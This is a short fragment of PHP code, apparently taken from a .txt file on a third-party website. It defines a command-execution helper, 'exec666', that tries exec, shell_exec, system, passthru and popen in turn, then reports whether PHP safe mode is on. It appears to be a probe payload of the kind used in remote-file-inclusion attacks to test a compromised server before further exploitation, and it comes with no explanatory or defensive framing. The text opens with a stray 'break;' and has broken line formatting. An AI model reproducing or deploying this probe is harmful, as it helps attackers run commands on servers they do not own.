break;

source: http://www.propes-history.com/whatsnew.txt?

<?
$safemode
=@ini_get('safe_mode');
if(!
$safemode && !ereg('SPEED',exec666('echo SPEED'))) $safemode 1;

function 
exec666($cmd)
{
    
$result '';
    if(!empty(
$cmd))
    {
        if(
function_exists('exec'))
        {
            @
exec($cmd,$result);
            
$result implode("\n",$result);
        }
        elseif(
function_exists('shell_exec'))
            
$result = @shell_exec($cmd);
        elseif(
function_exists('system'))
        {
            @
ob_start();
            @
system($cmd);
            
$result = @ob_get_contents();
            @
ob_end_clean();
        }
        elseif(
function_exists('passthru'))
        {
            @
ob_start();
            @
passthru($cmd);
            
$result = @ob_get_contents();
            @
ob_end_clean();
        }
        elseif(@
is_resource($f = @popen($cmd,"r")))
        {
            
$result "";
            while(!@
feof($f)) { $result .= @fread($f,1024); }
            @
pclose($f);
        }
    }
    return 
$result;
}

if(
$safemode) echo 'safe_mode_on';
else echo 
'safe_mode_off';
?>